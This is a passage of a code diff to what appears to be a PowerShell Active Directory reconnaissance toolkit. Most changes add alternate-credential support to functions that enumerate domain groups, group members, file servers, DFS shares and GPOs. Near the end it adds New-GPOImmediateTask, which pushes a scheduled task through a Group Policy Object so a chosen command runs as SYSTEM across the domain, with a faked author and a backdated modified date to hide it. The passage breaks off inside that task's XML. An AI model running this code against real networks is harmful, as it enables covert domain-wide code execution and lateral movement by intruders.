+        $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize      }      process { @@ -4390,6 +4572,11 @@ function Get-NetGroup {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetGroup @@ -4444,11 +4631,14 @@ function Get-NetGroup {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      begin { -        $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize +        $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize      }      process { @@ -4461,7 +4651,7 @@ function Get-NetGroup {              if ($UserName) {                  # get the raw user object -                $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -ReturnRaw -PageSize $PageSize +                $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize                  # convert the user to a directory entry                  $UserDirectoryEntry = $User.GetDirectoryEntry() @@ -4469,14 +4659,14 @@ function Get-NetGroup {                  # cause the cache to calculate the token groups for the user                  $UserDirectoryEntry.RefreshCache("tokenGroups") -                $UserDirectoryEntry.TokenGroups | Foreach-Object { +                $UserDirectoryEntry.TokenGroups | ForEach-Object {                      # convert the token group sid                      $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value                      # ignore the built in users and default domain user group                      if(!($GroupSid -match '^S-1-5-32-545|-513$')) {                          if($FullData) { -                            Get-ADObject -SID $GroupSid -PageSize $PageSize +                            Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential                          }                          else {                              if($RawSids) { @@ -4565,6 +4755,11 @@ function Get-NetGroupMember {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetGroupMember @@ -4592,7 +4787,7 @@ function Get-NetGroupMember {          $SID,          [String] -        $Domain = (Get-NetDomain).Name, +        $Domain,          [String]          $DomainController, @@ -4611,15 +4806,22 @@ function Get-NetGroupMember {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      begin {          # so this isn't repeated if users are passed on the pipeline -        $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize +        $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize          if(!$DomainController) { -            $DomainController = ((Get-NetDomain).PdcRoleOwner).Name +            $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name +        } + +        if(!$Domain) { +            $Domain = Get-NetDomain -Credential $Credential          }      } @@ -4630,15 +4832,15 @@ function Get-NetGroupMember {              if ($Recurse -and $UseMatchingRule) {                  # resolve the group to a distinguishedname                  if ($GroupName) { -                    $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData -PageSize $PageSize +                    $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize                  }                  elseif ($SID) { -                    $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize +                    $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize                  }                  else {                      # default to domain admins -                    $SID = (Get-DomainSID -Domain $Domain) + "-512" -                    $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize +                    $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512" +                    $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize                  }                  $GroupDN = $Group.distinguishedname                  $GroupFoundName = $Group.name @@ -4663,7 +4865,7 @@ function Get-NetGroupMember {                  }                  else {                      # default to domain admins -                    $SID = (Get-DomainSID -Domain $Domain) + "-512" +                    $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512"                      $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"                  } @@ -4736,12 +4938,7 @@ function Get-NetGroupMember {                  if($Properties) { -                    if($Properties.samaccounttype -notmatch '805306368') { -                        $IsGroup = $True -                    } -                    else { -                        $IsGroup = $False -                    } +                    $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype                      if ($FullData) {                          $GroupMember = Convert-LDAPProperty -Properties $Properties @@ -4795,7 +4992,12 @@ function Get-NetGroupMember {                      # if we're doing manual recursion                      if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { -                        Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse -PageSize $PageSize +                        if($FullData) { +                            Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize +                        } +                        else { +                            Get-NetGroupMember -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize +                        }                      }                  } @@ -4828,6 +5030,11 @@ function Get-NetFileServer {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetFileServer @@ -4854,7 +5061,10 @@ function Get-NetFileServer {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      )      function SplitPath { @@ -4869,13 +5079,13 @@ function Get-NetFileServer {          }      } -    Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Where-Object {$_} | Where-Object { +    Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object {              # filter for any target users              if($TargetUsers) {                  $TargetUsers -Match $_.samAccountName              }              else { $True }  -        } | Foreach-Object { +        } | ForEach-Object {              # split out every potential file server path              if($_.homedirectory) {                  SplitPath($_.homedirectory) @@ -4920,16 +5130,21 @@ function Get-DFSshare {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-DFSshare -         +          Returns all distributed file system shares for the current domain.      .EXAMPLE          PS C:\> Get-DFSshare -Domain test -         +          Returns all distributed file system shares for the 'test' domain.  #> @@ -4950,9 +5165,191 @@ function Get-DFSshare {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, + +        [Management.Automation.PSCredential] +        $Credential      ) +    function Parse-Pkt { +        [CmdletBinding()] +        param( +            [byte[]] +            $Pkt +        ) + +        $bin = $Pkt +        $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) +        $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) +        #Write-Host "Element Count: " $blob_element_count +        $offset = 8 +        #https://msdn.microsoft.com/en-us/library/cc227147.aspx +        $object_list = @() +        for($i=1; $i -le $blob_element_count; $i++){ +               $blob_name_size_start = $offset +               $blob_name_size_end = $offset + 1 +               $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) +               #Write-Host "Blob name size: " $blob_name_size +               $blob_name_start = $blob_name_size_end + 1 +               $blob_name_end = $blob_name_start + $blob_name_size - 1 +               $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) +               #Write-Host  "Blob Name: " $blob_name +               $blob_data_size_start = $blob_name_end + 1 +               $blob_data_size_end = $blob_data_size_start + 3 +               $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) +               #Write-Host  "blob data size: " $blob_data_size +               $blob_data_start = $blob_data_size_end + 1 +               $blob_data_end = $blob_data_start + $blob_data_size - 1 +               $blob_data = $bin[$blob_data_start..$blob_data_end] +               switch -wildcard ($blob_name) { +                "\siteroot" {  } +                "\domainroot*" { +                    # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... +                    # DFSRootOrLinkIDBlob +                    $root_or_link_guid_start = 0 +                    $root_or_link_guid_end = 15 +                    $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] +                    $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str +                    $prefix_size_start = $root_or_link_guid_end + 1 +                    $prefix_size_end = $prefix_size_start + 1 +                    $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) +                    $prefix_start = $prefix_size_end + 1 +                    $prefix_end = $prefix_start + $prefix_size - 1 +                    $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) +                    #write-host "Prefix: " $prefix +                    $short_prefix_size_start = $prefix_end + 1 +                    $short_prefix_size_end = $short_prefix_size_start + 1 +                    $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) +                    $short_prefix_start = $short_prefix_size_end + 1 +                    $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 +                    $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) +                    #write-host "Short Prefix: " $short_prefix +                    $type_start = $short_prefix_end + 1 +                    $type_end = $type_start + 3 +                    $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) +                    #write-host $type +                    $state_start = $type_end + 1 +                    $state_end = $state_start + 3 +                    $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) +                    #write-host $state +                    $comment_size_start = $state_end + 1 +                    $comment_size_end = $comment_size_start + 1 +                    $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) +                    $comment_start = $comment_size_end + 1 +                    $comment_end = $comment_start + $comment_size - 1 +                    if ($comment_size -gt 0)  { +                        $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) +                        #Write-Host $comment  +                    } +                    $prefix_timestamp_start = $comment_end + 1 +                    $prefix_timestamp_end = $prefix_timestamp_start + 7 +                    # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME +                    $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime +                    $state_timestamp_start = $prefix_timestamp_end + 1 +                    $state_timestamp_end = $state_timestamp_start + 7 +                    $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] +                    $comment_timestamp_start = $state_timestamp_end + 1 +                    $comment_timestamp_end = $comment_timestamp_start + 7 +                    $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] +                    $version_start = $comment_timestamp_end  + 1 +                    $version_end = $version_start + 3 +                    $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + +                    #write-host $version +                    if ($version -ne 3) +                    { +                        #write-host "error" +                    } + +                    # Parse rest of DFSNamespaceRootOrLinkBlob here +                    $dfs_targetlist_blob_size_start = $version_end + 1 +                    $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 +                    $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) +                    #write-host $dfs_targetlist_blob_size +                    $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 +                    $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 +                    $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] +                    $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 +                    $reserved_blob_size_end = $reserved_blob_size_start + 3 +                    $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) +                    #write-host $reserved_blob_size +                    $reserved_blob_start = $reserved_blob_size_end + 1 +                    $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 +                    $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] +                    $referral_ttl_start = $reserved_blob_end + 1 +                    $referral_ttl_end = $referral_ttl_start + 3 +                    $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + +                    #Parse DFSTargetListBlob +                    $target_count_start = 0 +                    $target_count_end = $target_count_start + 3 +                    $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) +                    $t_offset = $target_count_end + 1 +                    #write-host $target_count + +                    for($j=1; $j -le $target_count; $j++){ +                        $target_entry_size_start = $t_offset +                        $target_entry_size_end = $target_entry_size_start + 3 +                        $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) +                        #write-host $target_entry_size +                        $target_time_stamp_start = $target_entry_size_end + 1 +                        $target_time_stamp_end = $target_time_stamp_start + 7 +                        # FILETIME again or special if priority rank and priority class 0 +                        $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] +                        $target_state_start = $target_time_stamp_end + 1 +                        $target_state_end = $target_state_start + 3 +                        $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) +                        #write-host $target_state +                        $target_type_start = $target_state_end + 1 +                        $target_type_end = $target_type_start + 3 +                        $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) +                        #write-host $target_type +                        $server_name_size_start = $target_type_end + 1 +                        $server_name_size_end = $server_name_size_start + 1 +                        $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) +                        #write-host $server_name_size  +                        $server_name_start = $server_name_size_end + 1 +                        $server_name_end = $server_name_start + $server_name_size - 1 +                        $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) +                        #write-host $server_name +                        $share_name_size_start = $server_name_end + 1 +                        $share_name_size_end = $share_name_size_start + 1 +                        $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) +                        $share_name_start = $share_name_size_end + 1 +                        $share_name_end = $share_name_start + $share_name_size - 1 +                        $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) +                        #write-host $share_name +                        $target_list += "\\$server_name\$share_name" +                        $t_offset = $share_name_end + 1 +                    } +                } +            } +            $offset = $blob_data_end + 1 +            $dfs_pkt_properties = @{ +                'Name' = $blob_name +                'Prefix' = $prefix +                'TargetList' = $target_list +            } +            $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties +            $prefix = $null +            $blob_name = $null +            $target_list = $null +        } + +        $servers = @() +        $object_list | ForEach-Object { +            #write-host $_.Name; +            #write-host $_.TargetList +            if ($_.TargetList) { +                $_.TargetList | ForEach-Object { +                    $servers += $_.split("\")[2] +                } +            } +        } + +        $servers +    } +      function Get-DFSshareV1 {          [CmdletBinding()]          param( @@ -4965,12 +5362,15 @@ function Get-DFSshare {              [String]              $ADSpath, -            [ValidateRange(1,10000)]  +            [ValidateRange(1,10000)]              [Int] -            $PageSize = 200 +            $PageSize = 200, + +            [Management.Automation.PSCredential] +            $Credential          ) -        $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize +        $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize          if($DFSsearcher) {              $DFSshares = @() @@ -4980,6 +5380,7 @@ function Get-DFSshare {                  $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object {                      $Properties = $_.Properties                      $RemoteNames = $Properties.remoteservername +                    $Pkt = $Properties.pkt                      $DFSshares += $RemoteNames | ForEach-Object {                          try { @@ -4992,9 +5393,22 @@ function Get-DFSshare {                          }                      }                  } + +                if($pkt -and $pkt[0]) { +                    Parse-Pkt $pkt[0] | ForEach-Object { +                        # If a folder doesn't have a redirection it will +                        # have a target like +                        # \\null\TestNameSpace\folder\.DFSFolderLink so we +                        # do actually want to match on "null" rather than +                        # $null +                        if ($_ -ne "null") { +                            New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} +                        } +                    } +                }              }              catch { -                Write-Warning "Get-DFSshareV2 error : $_" +                Write-Warning "Get-DFSshareV1 error : $_"              }              $DFSshares | Sort-Object -Property "RemoteServerName"          } @@ -5014,10 +5428,13 @@ function Get-DFSshare {              [ValidateRange(1,10000)]               [Int] -            $PageSize = 200 +            $PageSize = 200, + +            [Management.Automation.PSCredential] +            $Credential          ) -        $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize +        $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize          if($DFSsearcher) {              $DFSshares = @() @@ -5052,15 +5469,15 @@ function Get-DFSshare {      }      $DFSshares = @() -     +      if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { -        $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize +        $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize      }      if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { -        $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize +        $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize      } -    $DFSshares | Sort-Object -Property "RemoteServerName" +    $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique  } @@ -5130,42 +5547,38 @@ function Get-GptTmpl {          $SectionsFinal = @{}          try { +            Write-Verbose "Parsing $GptTmplPath" -            if(Test-Path $GptTmplPath) { - -                Write-Verbose "Parsing $GptTmplPath" +            Get-Content $GptTmplPath -ErrorAction Stop | ForEach-Object { +                if ($_ -match '\[') { +                    # this signifies that we're starting a new section +                    $SectionName = $_.trim('[]') -replace ' ','' +                } +                elseif($_ -match '=') { +                    $Parts = $_.split('=') +                    $PropertyName = $Parts[0].trim() +                    $PropertyValues = $Parts[1].trim() -                Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { -                    if ($_ -match '\[') { -                        # this signifies that we're starting a new section -                        $SectionName = $_.trim('[]') -replace ' ','' +                    if($PropertyValues -match ',') { +                        $PropertyValues = $PropertyValues.split(',')                      } -                    elseif($_ -match '=') { -                        $Parts = $_.split('=') -                        $PropertyName = $Parts[0].trim() -                        $PropertyValues = $Parts[1].trim() - -                        if($PropertyValues -match ',') { -                            $PropertyValues = $PropertyValues.split(',') -                        } -                        if(!$SectionsTemp[$SectionName]) { -                            $SectionsTemp.Add($SectionName, @{}) -                        } - -                        # add the parsed property into the relevant Section name -                        $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) +                    if(!$SectionsTemp[$SectionName]) { +                        $SectionsTemp.Add($SectionName, @{})                      } -                } -                ForEach ($Section in $SectionsTemp.keys) { -                    # transform each nested hash table into a custom object -                    $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] +                    # add the parsed property into the relevant Section name +                    $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues )                  } +            } -                # transform the parent hash table into a custom object -                New-Object PSObject -Property $SectionsFinal +            ForEach ($Section in $SectionsTemp.keys) { +                # transform each nested hash table into a custom object +                $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section]              } + +            # transform the parent hash table into a custom object +            New-Object PSObject -Property $SectionsFinal          }          catch {              Write-Debug "Error parsing $GptTmplPath : $_" @@ -5175,7 +5588,7 @@ function Get-GptTmpl {      end {          if($UsePSDrive -and $RandDrive) {              Write-Verbose "Removing temp PSDrive $RandDrive" -            Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive +            Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force          }      }  } @@ -5198,7 +5611,6 @@ function Get-GroupsXML {      .PARAMETER UsePSDrive          Switch. Mount the target groups.xml folder path as a temporary PSDrive. -  #>      [CmdletBinding()] @@ -5239,10 +5651,8 @@ function Get-GroupsXML {      process { -        # parse the Groups.xml file if it exists  -        if(Test-Path $GroupsXMLPath) { - -            [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath +        try { +            [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath -ErrorAction Stop              # process all group properties in the XML              $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { @@ -5308,18 +5718,20 @@ function Get-GroupsXML {                  }              }          } +        catch { +            Write-Debug "Error parsing $GptTmplPath : $_" +        }      }      end {          if($UsePSDrive -and $RandDrive) {              Write-Verbose "Removing temp PSDrive $RandDrive" -            Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive +            Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force          }      }  } -  function Get-NetGPO {  <#      .SYNOPSIS @@ -5334,6 +5746,10 @@ function Get-NetGPO {          The GPO display name to query for, wildcards accepted.    +    .PARAMETER ComputerName + +        Return all GPO objects applied to a given computer (FQDN). +      .PARAMETER Domain          The domain to query for GPOs, defaults to the current domain. @@ -5351,6 +5767,11 @@ function Get-NetGPO {          The PageSize to set for the LDAP searcher object. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Get-NetGPO -Domain testlab.local @@ -5367,6 +5788,9 @@ function Get-NetGPO {          $DisplayName,          [String] +        $ComputerName, + +        [String]          $Domain,          [String] @@ -5377,26 +5801,325 @@ function Get-NetGPO {          [ValidateRange(1,10000)]           [Int] -        $PageSize = 200 +        $PageSize = 200, +        [Management.Automation.PSCredential] +        $Credential      )      begin { -        $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize +        $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize      }      process {          if ($GPOSearcher) { -            if($DisplayName) { -                $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + +            if($ComputerName) { +                $GPONames = @() +                $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + +                if(!$Computers) { +                    throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" +                } +                 +                # get the given computer's OU +                $ComputerOUs = @() +                ForEach($Computer in $Computers) { +                    # extract all OUs a computer is a part of +                    $DN = $Computer.distinguishedname + +                    $ComputerOUs += $DN.split(",") | ForEach-Object { +                        if($_.startswith("OU=")) { +                            $DN.substring($DN.indexof($_)) +                        } +                    } +                } +                 +                Write-Verbose "ComputerOUs: $ComputerOUs" + +                # find all the GPOs linked to the computer's OU +                ForEach($ComputerOU in $ComputerOUs) { +                    $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {  +                        # get any GPO links +                        write-verbose "blah: $($_.name)" +                        $_.gplink.split("][") | ForEach-Object { +                            if ($_.startswith("LDAP")) { +                                $_.split(";")[0] +                            } +                        } +                    } +                } +                 +                Write-Verbose "GPONames: $GPONames" + +                # find any GPOs linked to the site for the given computer +                $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName +                if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { +                    $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { +                        if($_.gplink) { +                            $_.gplink.split("][") | ForEach-Object { +                                if ($_.startswith("LDAP")) { +                                    $_.split(";")[0] +                                } +                            } +                        } +                    } +                } + +                $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { + +                    # use the gplink as an ADS path to enumerate all GPOs for the computer +                    $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize +                    $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + +                    try { +                        $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { +                            $Out = Convert-LDAPProperty -Properties $_.Properties +                            $Out | Add-Member Noteproperty 'ComputerName' $ComputerName +                            $Out +                        } +                    } +                    catch { +                        Write-Warning $_ +                    } +                }              } +              else { -                $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" +                if($DisplayName) { +                    $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" +                } +                else { +                    $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" +                } + +                try { +                    $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { +                        # convert/process the LDAP fields for each result +                        Convert-LDAPProperty -Properties $_.Properties +                    } +                } +                catch { +                    Write-Warning $_ +                }              } +        } +    } +} -            $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { -                # convert/process the LDAP fields for each result -                Convert-LDAPProperty -Properties $_.Properties + +function New-GPOImmediateTask { +<# +    .SYNOPSIS + +        Builds an 'Immediate' schtask to push out through a specified GPO. + +    .PARAMETER TaskName + +        Name for the schtask to recreate. Required. + +    .PARAMETER Command + +        The command to execute with the task, defaults to 'powershell' + +    .PARAMETER CommandArguments + +        The arguments to supply to the -Command being launched. + +    .PARAMETER TaskDescription + +        An optional description for the task. + +    .PARAMETER TaskAuthor +         +        The displayed author of the task, defaults to ''NT AUTHORITY\System' + +    .PARAMETER TaskModifiedDate +     +        The displayed modified date for the task, defaults to 30 days ago. + +    .PARAMETER GPOname + +        The GPO name to build the task for. + +    .PARAMETER GPODisplayName + +        The GPO display name to build the task for. + +    .PARAMETER Domain + +        The domain to query for the GPOs, defaults to the current domain. + +    .PARAMETER DomainController + +        Domain controller to reflect LDAP queries through. + +    .PARAMETER ADSpath + +        The LDAP source to search through +        e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target. + +    .EXAMPLE + +        PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force + +        Create an immediate schtask that executes the specified PowerShell arguments and +        push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. + +    .EXAMPLE + +        PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force + +        Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt. +#> +    [CmdletBinding(DefaultParameterSetName = 'Create')] +    Param ( +        [Parameter(ParameterSetName = 'Create', Mandatory = $True)] +        [String] +        [ValidateNotNullOrEmpty()] +        $TaskName, + +        [Parameter(ParameterSetName = 'Create')] +        [String] +        [ValidateNotNullOrEmpty()] +        $Command = 'powershell', + +        [Parameter(ParameterSetName = 'Create')] +        [String] +        [ValidateNotNullOrEmpty()] +        $CommandArguments, + +        [Parameter(ParameterSetName = 'Create')] +        [String] +        [ValidateNotNullOrEmpty()] +        $TaskDescription = '', + +        [Parameter(ParameterSetName = 'Create')] +        [String] +        [ValidateNotNullOrEmpty()] +        $TaskAuthor = 'NT AUTHORITY\System', + +        [Parameter(ParameterSetName = 'Create')] +        [String] +        [ValidateNotNullOrEmpty()] +        $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), + +        [Parameter(ParameterSetName = 'Create')] +        [Parameter(ParameterSetName = 'Remove')] +        [String] +        $GPOname, + +        [Parameter(ParameterSetName = 'Create')] +        [Parameter(ParameterSetName = 'Remove')] +        [String] +        $GPODisplayName, + +        [Parameter(ParameterSetName = 'Create')] +        [Parameter(ParameterSetName = 'Remove')] +        [String] +        $Domain, + +        [Parameter(ParameterSetName = 'Create')] +        [Parameter(ParameterSetName = 'Remove')] +        [String] +        $DomainController, +         +        [Parameter(ParameterSetName = 'Create')] +        [Parameter(ParameterSetName = 'Remove')] +        [String] +        $ADSpath, + +        [Parameter(ParameterSetName = 'Create')] +        [Parameter(ParameterSetName = 'Remove')] +        [Switch] +        $Force, + +        [Parameter(ParameterSetName = 'Remove')] +        [Switch] +        $Remove, + +        [Parameter(ParameterSetName = 'Create')] +        [Parameter(ParameterSetName = 'Remove')]         +        [Management.Automation.PSCredential] +        $Credential +    ) + +    # build the XML spec for our 'immediate' scheduled task +    $TaskXML = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$([guid]::NewGuid())+'}" userContext="0" removePolicy="0"><Properties action="C" name="'+$TaskName+'" runAs="NT AUTHORITY\System" logonType="S4U"><Task 